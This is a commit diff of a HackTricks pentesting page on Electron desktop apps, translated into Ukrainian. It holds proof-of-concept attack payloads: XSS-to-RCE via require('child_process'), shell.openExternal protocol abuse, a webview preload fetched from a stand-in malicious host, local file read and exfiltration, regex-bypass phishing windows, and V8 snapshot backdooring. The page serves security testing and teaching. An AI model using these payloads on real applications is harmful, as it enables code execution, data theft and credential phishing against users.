mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/network-services-pentesting/pentesting-web/electron
This commit is contained in:
parent
43ab4d0498
commit
7b10265f1d
@ -1,17 +1,17 @@
|
||||
# Electron Desktop Apps
|
||||
# Electron настільні додатки
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Вступ
|
||||
|
||||
Electron поєднує локальний бекенд (з **NodeJS**) і фронтенд (**Chromium**), хоча йому бракує деяких механізмів безпеки сучасних браузерів.
|
||||
Electron поєднує локальний бекенд (з **NodeJS**) та фронтенд (**Chromium**), хоча він не має деяких механізмів безпеки сучасних браузерів.
|
||||
|
||||
Зазвичай ви можете знайти код електронного додатку всередині програми `.asar`, щоб отримати код, вам потрібно його витягти:
|
||||
Зазвичай код Electron-додатку можна знайти всередині `.asar` пакета; щоб отримати код, потрібно його розпакувати:
|
||||
```bash
|
||||
npx asar extract app.asar destfolder #Extract everything
|
||||
npx asar extract-file app.asar main.js #Extract just a file
|
||||
```
|
||||
У вихідному коді програми Electron, всередині `packet.json`, ви можете знайти вказаний файл `main.js`, де налаштовуються конфігурації безпеки.
|
||||
У вихідному коді Electron-додатка, всередині `packet.json`, можна знайти вказаний файл `main.js`, де встановлені security configs.
|
||||
```json
|
||||
{
|
||||
"name": "standard-notes",
|
||||
@ -19,12 +19,12 @@ npx asar extract-file app.asar main.js #Extract just a file
|
||||
```
|
||||
Electron має 2 типи процесів:
|
||||
|
||||
- Основний процес (має повний доступ до NodeJS)
|
||||
- Процес рендерера (повинен мати обмежений доступ до NodeJS з міркувань безпеки)
|
||||
- Main Process (має повний доступ до NodeJS)
|
||||
- Renderer Process (повинен мати обмежений доступ до NodeJS з міркувань безпеки)
|
||||
|
||||
.png>)
|
||||
|
||||
**Процес рендерера** буде вікном браузера, що завантажує файл:
|
||||
Процес **renderer process** буде вікном браузера, яке завантажує файл:
|
||||
```javascript
|
||||
const { BrowserWindow } = require("electron")
|
||||
let win = new BrowserWindow()
|
||||
@ -32,20 +32,18 @@ let win = new BrowserWindow()
|
||||
//Open Renderer Process
|
||||
win.loadURL(`file://path/to/index.html`)
|
||||
```
|
||||
Налаштування **renderer process** можуть бути **сконфігуровані** в **main process** всередині файлу main.js. Деякі з конфігурацій **запобігатимуть отриманню RCE** або інших вразливостей, якщо **налаштування правильно сконфігуровані**.
|
||||
Налаштування **renderer process** можна **сконфігурувати** в **main process** у файлі main.js. Деякі конфігурації можуть **запобігти отриманню RCE в Electron application** або іншим вразливостям, якщо **налаштування правильно сконфігуровані**.
|
||||
|
||||
Electron додаток **може отримати доступ до пристрою** через Node API, хоча його можна налаштувати, щоб запобігти цьому:
|
||||
Electron application **може отримати доступ до пристрою** через Node apis, хоча це можна налаштувати, щоб запобігти цьому:
|
||||
|
||||
- **`nodeIntegration`** - за замовчуванням вимкнено. Якщо ввімкнено, дозволяє отримувати доступ до функцій Node з renderer process.
|
||||
- **`contextIsolation`** - за замовчуванням увімкнено. Якщо вимкнено, main і renderer процеси не ізольовані.
|
||||
- **`nodeIntegration`** - за замовчуванням `off`. Якщо `on`, дозволяє доступ до Node features з **renderer process**.
|
||||
- **`contextIsolation`** - за замовчуванням `on`. Якщо `off`, main і renderer processes не ізольовані.
|
||||
- **`preload`** - за замовчуванням порожній.
|
||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - за замовчуванням вимкнено. Це обмежить дії, які може виконувати NodeJS.
|
||||
- Node Integration в Workers
|
||||
- **`nodeIntegrationInSubframes`** - за замовчуванням вимкнено.
|
||||
- Якщо **`nodeIntegration`** **увімкнено**, це дозволить використовувати **Node.js APIs** на веб-сторінках, які **завантажуються в iframes** всередині Electron додатку.
|
||||
- Якщо **`nodeIntegration`** **вимкнено**, тоді preload завантажиться в iframe.
|
||||
|
||||
Приклад конфігурації:
|
||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - за замовчуванням `off`. Він обмежує дії, які може виконувати NodeJS.
|
||||
- Node Integration in Workers
|
||||
- **`nodeIntegrationInSubframes`** - за замовчуванням `off`.
|
||||
- Якщо **`nodeIntegration`** **увімкнено**, це дозволить використовувати **Node.js APIs** на веб-сторінках, які **завантажуються в iframes** всередині Electron application.
|
||||
- Якщо **`nodeIntegration`** **вимкнено**, тоді preloads будуть завантажуватися в iframe
|
||||
```javascript
|
||||
const mainWindowOptions = {
|
||||
title: "Discord",
|
||||
@ -97,13 +95,13 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" />
|
||||
```
|
||||
### Захоплення трафіку
|
||||
|
||||
Змініть конфігурацію start-main і додайте використання проксі, такого як:
|
||||
Змініть конфігурацію start-main і додайте використання proxy, наприклад:
|
||||
```javascript
|
||||
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
|
||||
```
|
||||
## Electron Local Code Injection
|
||||
|
||||
Якщо ви можете виконати Electron App локально, можливо, ви зможете виконати довільний код JavaScript. Перевірте, як це зробити в:
|
||||
Якщо ви можете локально запускати Electron App, можливо, ви зможете змусити його виконувати довільний JavaScript-код. Дивіться як у:
|
||||
|
||||
{{#ref}}
|
||||
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
|
||||
@ -111,7 +109,7 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" />
|
||||
|
||||
## RCE: XSS + nodeIntegration
|
||||
|
||||
Якщо **nodeIntegration** встановлено на **on**, JavaScript веб-сторінки може легко використовувати функції Node.js, просто викликавши `require()`. Наприклад, спосіб виконати додаток calc на Windows:
|
||||
Якщо **nodeIntegration** встановлено в **on**, JavaScript веб-сторінки може використовувати можливості Node.js просто викликавши `require()`. Наприклад, спосіб запустити додаток calc у Windows такий:
|
||||
```html
|
||||
<script>
|
||||
require("child_process").exec("calc")
|
||||
@ -123,7 +121,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
|
||||
|
||||
## RCE: preload
|
||||
|
||||
Скрипт, вказаний у цьому налаштуванні, **завантажується перед іншими скриптами в рендерері**, тому він має **необмежений доступ до Node API**:
|
||||
Скрипт, вказаний у цьому налаштуванні, l**завантажується перед іншими скриптами в renderer**, тому він має **необмежений доступ до Node APIs**:
|
||||
```javascript
|
||||
new BrowserWindow{
|
||||
webPreferences: {
|
||||
@ -152,16 +150,16 @@ runCalc()
|
||||
|
||||
## RCE: XSS + contextIsolation
|
||||
|
||||
_**contextIsolation**_ вводить **окремі контексти між скриптами веб-сторінки та внутрішнім кодом JavaScript Electron**, щоб виконання JavaScript кожного коду не впливало на інший. Це необхідна функція для усунення можливості RCE.
|
||||
The _**contextIsolation**_ introduces the **separated contexts between the web page scripts and the JavaScript Electron's internal code** so that the JavaScript execution of each code does not affect each. This is a necessary feature to eliminate the possibility of RCE.
|
||||
|
||||
Якщо контексти не ізольовані, зловмисник може:
|
||||
Якщо контексти не ізольовані, атакувальник може:
|
||||
|
||||
1. Виконати **произвольний JavaScript у рендерері** (XSS або навігація на зовнішні сайти)
|
||||
2. **Перезаписати вбудований метод**, який використовується в preload або внутрішньому коді Electron, на власну функцію
|
||||
3. **Запустити** використання **перезаписаної функції**
|
||||
1. Виконати **довільний JavaScript у renderer** (XSS або перехід на зовнішні сайти)
|
||||
2. **Перезаписати вбудований метод**, який використовується в preload або у внутрішньому коді Electron, щоб отримати контроль над функцією
|
||||
3. **Спровокувати** використання **перезаписаної функції**
|
||||
4. RCE?
|
||||
|
||||
Є 2 місця, де вбудовані методи можуть бути перезаписані: у коді preload або у внутрішньому коді Electron:
|
||||
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -178,34 +176,34 @@ electron-contextisolation-rce-via-electron-internal-code.md
|
||||
electron-contextisolation-rce-via-ipc.md
|
||||
{{#endref}}
|
||||
|
||||
### Обхід події кліку
|
||||
### Обхід події click
|
||||
|
||||
Якщо є обмеження, які застосовуються при натисканні на посилання, ви можете обійти їх, **зробивши середній клік** замість звичайного лівого кліку.
|
||||
Якщо при кліку на посилання застосовано обмеження, можливо, ви зможете обійти їх, **зробивши middle click** замість звичайного left click
|
||||
```javascript
|
||||
window.addEventListener('click', (e) => {
|
||||
```
|
||||
## RCE через shell.openExternal
|
||||
|
||||
Для отримання додаткової інформації про ці приклади перегляньте [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) та [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
||||
Для отримання додаткової інформації про ці приклади див. [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) та [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
||||
|
||||
При розгортанні настільного додатку Electron важливо забезпечити правильні налаштування для `nodeIntegration` та `contextIsolation`. Встановлено, що **віддалене виконання коду (RCE)** на стороні клієнта, яке націлене на попередньо завантажені скрипти або рідний код Electron з основного процесу, ефективно запобігається за наявності цих налаштувань.
|
||||
Під час розгортання Electron desktop application важливо правильно налаштувати `nodeIntegration` і `contextIsolation`. Встановлено, що **client-side remote code execution (RCE)**, спрямоване на preload scripts або Electron's native code з main process, ефективно запобігається при таких налаштуваннях.
|
||||
|
||||
Коли користувач взаємодіє з посиланнями або відкриває нові вікна, спрацьовують специфічні обробники подій, які є критично важливими для безпеки та функціональності додатку:
|
||||
Коли користувач взаємодіє з посиланнями або відкриває нові вікна, спрацьовують певні event listeners, які критично важливі для безпеки та функціональності додатку:
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {}
|
||||
webContents.on("will-navigate", function (event, url) {}
|
||||
```
|
||||
Ці слухачі **перекриваються настільним додатком** для реалізації власної **бізнес-логіки**. Додаток оцінює, чи слід відкривати навігаційне посилання внутрішньо чи в зовнішньому веб-браузері. Це рішення зазвичай приймається через функцію `openInternally`. Якщо ця функція повертає `false`, це вказує на те, що посилання слід відкривати зовні, використовуючи функцію `shell.openExternal`.
|
||||
Ці обробники подій **перевизначаються настільним застосунком**, щоб реалізувати його власну **бізнес-логіку**. Застосунок вирішує, чи відкривати навігаційне посилання всередині додатку чи у зовнішньому веб-браузері. Це рішення зазвичай приймається у функції `openInternally`. Якщо ця функція повертає `false`, це означає, що посилання слід відкривати зовні, використовуючи `shell.openExternal`.
|
||||
|
||||
**Ось спрощений псевдокод:**
|
||||
**Here is a simplified pseudocode:**
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
Найкращі практики безпеки Electron JS радять не приймати ненадійний контент з функцією `openExternal`, оскільки це може призвести до RCE через різні протоколи. Операційні системи підтримують різні протоколи, які можуть спровокувати RCE. Для детальних прикладів та подальшого пояснення цієї теми можна звернутися до [цього ресурсу](https://positive.security/blog/url-open-rce#windows-10-19042), який містить приклади протоколів Windows, здатних експлуатувати цю вразливість.
|
||||
Практики безпеки Electron JS радять не приймати недовірений контент через функцію `openExternal`, оскільки це може привести до RCE через різні протоколи. Операційні системи підтримують різні протоколи, які можуть спричинити RCE. Для детальних прикладів і пояснень з цього питання зверніться до [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), де наведені приклади Windows-протоколів, здатних експлуатувати цю вразливість.
|
||||
|
||||
У macos функцію `openExternal` можна експлуатувати для виконання довільних команд, як у `shell.openExternal('file:///System/Applications/Calculator.app')`.
|
||||
У macos функцію `openExternal` можна експлуатувати для виконання довільних команд, наприклад `shell.openExternal('file:///System/Applications/Calculator.app')`.
|
||||
|
||||
**Приклади експлойтів протоколів Windows включають:**
|
||||
```html
|
||||
@ -229,15 +227,15 @@ window.open(
|
||||
```
|
||||
## RCE: webviewTag + вразливий preload IPC + shell.openExternal
|
||||
|
||||
Цю вразливість можна знайти в **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
|
||||
Цю vuln можна знайти в **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
|
||||
|
||||
**webviewTag** є **застарілою функцією**, яка дозволяє використовувати **NodeJS** в **процесі рендерингу**, що слід вимкнути, оскільки це дозволяє завантажувати скрипт у контексті preload, як:
|
||||
The **webviewTag** is a **застаріла функція** that allows the use of **NodeJS** in the **renderer process**, which should be disabled as it allows to load a script inside the preload context like:
|
||||
```xml
|
||||
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
|
||||
```
|
||||
Отже, зловмисник, який зміг завантажити довільну сторінку, міг би використати цей тег для **завантаження довільного попереднього скрипту**.
|
||||
Отже, атакуючий, який зуміє завантажити довільну сторінку, може використати цей тег, щоб **завантажити довільний preload script**.
|
||||
|
||||
Цей попередній скрипт був зловжито використаний для виклику **вразливого IPC-сервісу (`skype-new-window`)**, який викликав **`shell.openExternal`** для отримання RCE:
|
||||
Потім цей preload script використовували для виклику **вразливої IPC-служби (`skype-new-window`)**, яка викликала **`shell.openExternal`**, що призводило до RCE:
|
||||
```javascript
|
||||
(async() => {
|
||||
const { ipcRenderer } = require("electron");
|
||||
@ -250,11 +248,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
|
||||
```
|
||||
## Читання внутрішніх файлів: XSS + contextIsolation
|
||||
|
||||
**Вимкнення `contextIsolation` дозволяє використовувати `<webview>` теги**, подібно до `<iframe>`, для читання та ексфільтрації локальних файлів. Наведено приклад, який демонструє, як експлуатувати цю вразливість для читання вмісту внутрішніх файлів:
|
||||
**Вимкнення `contextIsolation` дозволяє використовувати теги `<webview>`**, подібно до `<iframe>`, для читання та exfiltrating локальних файлів. Наведений приклад демонструє, як exploit цю вразливість, щоб прочитати вміст внутрішніх файлів:
|
||||
|
||||
.png>)
|
||||
|
||||
Крім того, поділено ще один метод **читання внутрішнього файлу**, що підкреслює критичну вразливість читання локальних файлів в Electron десктопному додатку. Це передбачає інжекцію скрипта для експлуатації програми та ексфільтрації даних:
|
||||
Крім того, наведено ще один метод для **читання внутрішнього файлу**, який підкреслює критичну вразливість читання локальних файлів в Electron desktop app. Це включає injecting a script для exploit застосунку та exfiltrate data:
|
||||
```html
|
||||
<br /><br /><br /><br />
|
||||
<h1>
|
||||
@ -272,43 +270,43 @@ frames[0].document.body.innerText
|
||||
```
|
||||
## **RCE: XSS + Old Chromium**
|
||||
|
||||
Якщо **chromium**, що використовується в додатку, є **старим** і на ньому є **відомі** **вразливості**, можливо, ви зможете **використати це та отримати RCE через XSS**.\
|
||||
Ви можете побачити приклад у цьому **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
||||
Якщо **chromium**, що використовується додатком, є **старим**, і на ньому є **відомі** **vulnerabilities**, може бути можливо експлуатувати його і отримати **RCE** через **XSS**.\
|
||||
Приклад можна побачити в цьому **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
||||
|
||||
## **XSS Phishing via Internal URL regex bypass**
|
||||
|
||||
Припустимо, ви знайшли XSS, але ви **не можете викликати RCE або вкрасти внутрішні файли**, ви можете спробувати використати це для **викрадення облікових даних через фішинг**.
|
||||
Припустимо, ви знайшли **XSS**, але **не можете викликати RCE або вкрасти внутрішні файли**, ви можете спробувати використати його, щоб **викрасти credentials через phishing**.
|
||||
|
||||
По-перше, вам потрібно знати, що відбувається, коли ви намагаєтеся відкрити нову URL, перевіряючи JS код на фронтенді:
|
||||
Насамперед потрібно знати, що відбувається, коли ви намагаєтесь відкрити новий URL, переглянувши JS код у front-end:
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
||||
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
||||
```
|
||||
Виклик **`openInternally`** вирішить, чи **посилання** буде **відкрито** в **десктопному вікні**, оскільки це посилання, що належить платформі, **чи** буде воно відкрито в **браузері як ресурс третьої сторони**.
|
||||
Виклик до **`openInternally`** вирішує, чи **посилання** буде **відкрито** у **вікні десктоп-додатка**, оскільки воно належить платформі, **або** чи буде відкрито у **браузері як сторонній ресурс**.
|
||||
|
||||
У випадку, якщо **regex**, використаний функцією, є **вразливим до обходів** (наприклад, через **неекранування крапок піддоменів**), зловмисник може зловживати XSS, щоб **відкрити нове вікно, яке** буде розташоване в інфраструктурі зловмисника, **питавши у користувача** про облікові дані:
|
||||
У випадку, якщо **regex**, який використовує функція, **вразливий до обходів** (наприклад через **неекранування крапок у субдоменах**), атакуючий може зловживати XSS, щоб **відкрити нове вікно**, яке буде розташоване в інфраструктурі атакуючого та **запитувати у користувача облікові дані**:
|
||||
```html
|
||||
<script>
|
||||
window.open("<http://subdomainagoogleq.com/index.html>")
|
||||
</script>
|
||||
```
|
||||
## `file://` Протокол
|
||||
## `file://` протокол
|
||||
|
||||
Як зазначено в [документації](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols), сторінки, що працюють на **`file://`**, мають односторонній доступ до кожного файлу на вашій машині, що означає, що **проблеми XSS можуть бути використані для завантаження довільних файлів** з машини користувача. Використання **кастомного протоколу** запобігає таким проблемам, оскільки ви можете обмежити протокол лише для обслуговування певного набору файлів.
|
||||
Як зазначено в [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) сторінки, що запускаються через **`file://`**, мають односторонній доступ до всіх файлів на вашому комп'ютері, що означає, що **XSS** може бути використано для завантаження довільних файлів з машини користувача. Використання **власного протоколу** запобігає таким проблемам, оскільки ви можете обмежити протокол лише обслуговуванням певного набору файлів.
|
||||
|
||||
## Віддалений модуль
|
||||
## Модуль Remote
|
||||
|
||||
Віддалений модуль Electron дозволяє **процесам рендерингу отримувати доступ до API основного процесу**, полегшуючи комунікацію в додатку Electron. Однак, увімкнення цього модуля вводить значні ризики безпеки. Це розширює поверхню атаки додатку, роблячи його більш вразливим до уразливостей, таких як атаки міжсайтового скриптингу (XSS).
|
||||
Модуль Remote в Electron дозволяє **renderer processes to access main process APIs**, полегшуючи комунікацію в межах Electron-додатку. Проте увімкнення цього модуля створює значні ризики безпеки. Він розширює поверхню атаки додатку, роблячи його більш вразливим до вразливостей, таких як cross-site scripting (XSS).
|
||||
|
||||
> [!TIP]
|
||||
> Хоча **віддалений** модуль відкриває деякі API з основного до процесів рендерингу, отримати RCE, просто зловживаючи компонентами, не так просто. Однак компоненти можуть розкривати чутливу інформацію.
|
||||
> Хоча модуль **remote** експонує деякі API з main у renderer процеси, отримати RCE лише через зловживання цими компонентами не так просто. Проте компоненти можуть розкривати чутливу інформацію.
|
||||
|
||||
> [!WARNING]
|
||||
> Багато додатків, які все ще використовують віддалений модуль, роблять це таким чином, що **вимагає увімкнення NodeIntegration** в процесі рендерингу, що є **величезним ризиком безпеки**.
|
||||
> Багато додатків, що досі використовують модуль **remote**, роблять це так, що **require NodeIntegration to be enabled** у renderer-процесі, що є **великою загрозою безпеці**.
|
||||
|
||||
З моменту виходу Electron 14 модуль `remote` може бути увімкнений у кількох етапах, оскільки з причин безпеки та продуктивності **рекомендується не використовувати його**.
|
||||
Починаючи з Electron 14, модуль `remote` може бути ввімкнений кількома способами, але з міркувань безпеки та продуктивності **рекомендується не використовувати його**.
|
||||
|
||||
Щоб увімкнути його, спочатку потрібно **увімкнути його в основному процесі**:
|
||||
Щоб увімкнути його, спочатку потрібно **увімкнути його в main процесі**:
|
||||
```javascript
|
||||
const remoteMain = require('@electron/remote/main')
|
||||
remoteMain.initialize()
|
||||
@ -319,35 +317,37 @@ mainWindow = new BrowserWindow({
|
||||
})
|
||||
remoteMain.enable(mainWindow.webContents)
|
||||
```
|
||||
Тоді процес рендеринга може імпортувати об'єкти з модуля, як:
|
||||
Тоді renderer process може імпортувати об'єкти з модуля так:
|
||||
```javascript
|
||||
import { dialog, getCurrentWindow } from '@electron/remote'
|
||||
```
|
||||
**[блог пост](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** вказує на деякі цікаві **функції**, які надає об'єкт **`app`** з віддаленого модуля:
|
||||
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** зазначає кілька цікавих **функцій**, що експонуються об'єктом **`app`** з remote module:
|
||||
|
||||
- **`app.relaunch([options])`**
|
||||
- **Перезапускає** додаток, **виходячи** з поточного екземпляра та **запускаючи** новий. Корисно для **оновлень додатка** або значних **змін стану**.
|
||||
- **Перезапускає** додаток шляхом **завершення** поточного екземпляра та **запуску** нового. Корисно для **оновлення додатку** або значних **змін стану**.
|
||||
- **`app.setAppLogsPath([path])`**
|
||||
- **Визначає** або **створює** каталог для зберігання **логів додатка**. Логи можна **отримати** або **змінити** за допомогою **`app.getPath()`** або **`app.setPath(pathName, newPath)`**.
|
||||
- **Визначає** або **створює** директорію для збереження **журналів додатку**. Журнали можна **отримати** або **змінити**, використовуючи **`app.getPath()`** або **`app.setPath(pathName, newPath)`**.
|
||||
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
|
||||
- **Реєструє** поточний виконуваний файл як **обробник за замовчуванням** для вказаного **протоколу**. Ви можете надати **кастомний шлях** та **аргументи**, якщо потрібно.
|
||||
- **Реєструє** поточний виконуваний файл як **обробник за замовчуванням** для вказаного **протоколу**. За потреби можна вказати **власний шлях** та **аргументи**.
|
||||
- **`app.setUserTasks(tasks)`**
|
||||
- **Додає** завдання до **категорії Завдань** у **Jump List** (на Windows). Кожне завдання може контролювати, як додаток **запускається** або які **аргументи** передаються.
|
||||
- **Додає** завдання до категорії **Tasks** у **Jump List** (на Windows). Кожне завдання може контролювати, як **запускається** додаток або які **аргументи** передаються.
|
||||
- **`app.importCertificate(options, callback)`**
|
||||
- **Імпортує** **сертифікат PKCS#12** у **системний магазин сертифікатів** (тільки Linux). **Callback** може бути використаний для обробки результату.
|
||||
- **Імпортує** сертифікат **PKCS#12** у системне **сховище сертифікатів** (тільки для Linux). Для обробки результату можна використати **callback**.
|
||||
- **`app.moveToApplicationsFolder([options])`**
|
||||
- **Переміщує** додаток до **каталогу Додатків** (на macOS). Допомагає забезпечити **стандартну установку** для користувачів Mac.
|
||||
- **Переміщує** додаток до папки **Applications** (на macOS). Допомагає забезпечити **стандартну інсталяцію** для користувачів Mac.
|
||||
- **`app.setJumpList(categories)`**
|
||||
- **Встановлює** або **видаляє** **кастомний Jump List** на **Windows**. Ви можете вказати **категорії** для організації того, як завдання з'являються для користувача.
|
||||
- **Встановлює** або **видаляє** **кастомний Jump List** у **Windows**. Ви можете вказати **категорії** для організації того, як завдання відображаються користувачу.
|
||||
- **`app.setLoginItemSettings(settings)`**
|
||||
- **Налаштовує**, які **виконувані файли** запускаються при **вході** разом з їхніми **опціями** (тільки macOS і Windows).
|
||||
- **Налаштовує**, які **виконувані файли** запускаються при **вході в систему** разом з їхніми **опціями** (тільки для macOS і Windows).
|
||||
|
||||
Example:
|
||||
```javascript
|
||||
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
|
||||
Native.app.exit()
|
||||
```
|
||||
## systemPreferences module
|
||||
## модуль systemPreferences
|
||||
|
||||
Основний API для доступу до системних налаштувань та емісії системних подій в Electron. Методи, такі як **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** та **setUserDefault** є частиною цього модуля.
|
||||
Це **основний API** для доступу до системних налаштувань та **генерування системних подій** в Electron. Методи, такі як **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** та **setUserDefault**, всі є **частиною** цього модуля.
|
||||
|
||||
**Приклад використання:**
|
||||
```javascript
|
||||
@ -364,33 +364,33 @@ console.log('Recent Places:', recentPlaces);
|
||||
```
|
||||
### **subscribeNotification / subscribeWorkspaceNotification**
|
||||
|
||||
* **Слухає** **рідні macOS сповіщення** за допомогою NSDistributedNotificationCenter.
|
||||
* Перед **macOS Catalina** ви могли перехоплювати **всі** розподілені сповіщення, передаючи **nil** до CFNotificationCenterAddObserver.
|
||||
* Після **Catalina / Big Sur** пісочничні додатки все ще можуть **підписуватися** на **багато подій** (наприклад, **блокування/розблокування екрану**, **монтування дисків**, **мережеву активність** тощо) реєструючи сповіщення **за назвою**.
|
||||
* **Слухає** **нативні macOS notifications** за допомогою NSDistributedNotificationCenter.
|
||||
* До **macOS Catalina** можна було **sniff** **всі** distributed notifications, передаючи **nil** в CFNotificationCenterAddObserver.
|
||||
* Після **Catalina / Big Sur**, sandboxed apps все ще можуть **subscribe** до **багатьох подій** (наприклад, **screen locks/unlocks**, **volume mounts**, **network activity** тощо) реєструючи notifications **за назвою**.
|
||||
|
||||
### **getUserDefault / setUserDefault**
|
||||
|
||||
* **Інтерфейси** з **NSUserDefaults**, який зберігає **налаштування** програми або **глобальні** налаштування на macOS.
|
||||
* **Інтерфейсує** з **NSUserDefaults**, який зберігає **налаштування** додатка або **глобальні** налаштування на macOS.
|
||||
|
||||
* **getUserDefault** може **отримувати** чутливу інформацію, таку як **останні місця файлів** або **географічне положення користувача**.
|
||||
* **getUserDefault** може **отримувати** чутливу інформацію, таку як **шляхи до нещодавніх файлів** або **географічне розташування користувача**.
|
||||
|
||||
* **setUserDefault** може **модифікувати** ці налаштування, потенційно впливаючи на **конфігурацію** програми.
|
||||
* **setUserDefault** може **змінювати** ці налаштування, потенційно впливаючи на **конфігурацію** додатка.
|
||||
|
||||
* У **старіших версіях Electron** (до v8.3.0) була доступна лише **стандартна сукупність** NSUserDefaults.
|
||||
* В **старіших версіях Electron** (до v8.3.0) був доступний лише **standard suite** NSUserDefaults.
|
||||
|
||||
## Shell.showItemInFolder
|
||||
|
||||
Ця функція показує вказаний файл у файловому менеджері, що **може автоматично виконати файл**.
|
||||
Ця функція показує вказаний файл у file manager, який **може автоматично виконати файл**.
|
||||
|
||||
Для отримання додаткової інформації перегляньте [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
||||
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
||||
|
||||
## Content Security Policy
|
||||
|
||||
Додатки Electron повинні мати **Політику безпеки контенту (CSP)** для **запобігання XSS-атакам**. **CSP** є **стандартом безпеки**, який допомагає **запобігти** **виконанню** **недовіреного коду** в браузері.
|
||||
Electron apps повинні мати **Content Security Policy (CSP)**, щоб **запобігти XSS attacks**. **CSP** — це **стандарт безпеки**, що допомагає **запобігати виконанню ненадійного коду** в браузері.
|
||||
|
||||
Зазвичай **налаштовується** у файлі **`main.js`** або в шаблоні **`index.html`** з CSP всередині **мета-тегу**.
|
||||
Зазвичай **налаштовується** у файлі **`main.js`** або в шаблоні **`index.html`** з CSP всередині **meta tag**.
|
||||
|
||||
Для отримання додаткової інформації перегляньте:
|
||||
For more information check:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -400,16 +400,16 @@ pentesting-web/content-security-policy-csp-bypass/
|
||||
|
||||
## **Tools**
|
||||
|
||||
- [**Electronegativity**](https://github.com/doyensec/electronegativity) - це інструмент для виявлення неправильних налаштувань і антипатернів безпеки в додатках на базі Electron.
|
||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) - це плагін з відкритим кодом для VS Code для додатків Electron, який використовує Electronegativity.
|
||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) для перевірки вразливих сторонніх бібліотек
|
||||
- [**Electro.ng**](https://electro.ng/): Вам потрібно його купити
|
||||
- [**Electronegativity**](https://github.com/doyensec/electronegativity) — інструмент для виявлення misconfigurations та security anti-patterns в Electron-based applications.
|
||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) — open source плагін для VS Code для Electron applications, що використовує Electronegativity.
|
||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) — для перевірки вразливих third party libraries
|
||||
- [**Electro.ng**](https://electro.ng/): Потрібно купити
|
||||
|
||||
## Labs
|
||||
|
||||
У [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) ви можете знайти лабораторію для експлуатації вразливих додатків Electron.
|
||||
В [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) можна знайти лабораторну роботу з експлуатації вразливих Electron apps.
|
||||
|
||||
Деякі команди, які допоможуть вам у лабораторії:
|
||||
Декілька команд, що допоможуть у лабі:
|
||||
```bash
|
||||
# Download apps from these URls
|
||||
# Vuln to nodeIntegration
|
||||
@ -432,14 +432,127 @@ cd vulnerable1
|
||||
npm install
|
||||
npm start
|
||||
```
|
||||
## **Посилання**
|
||||
## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305
|
||||
|
||||
Electron and Chromium-based apps deserialize a prebuilt V8 heap snapshot at startup (v8_context_snapshot.bin, and optionally browser_v8_context_snapshot.bin) to initialize each V8 isolate (main, preload, renderer). Historically, Electron’s integrity fuses did not treat these snapshots as executable content, so they escaped both fuse-based integrity enforcement and OS code-signing checks. As a result, replacing the snapshot in a user-writable installation provided stealthy, persistent code execution inside the app without modifying the signed binaries or ASAR.
|
||||
|
||||
Ключові моменти
|
||||
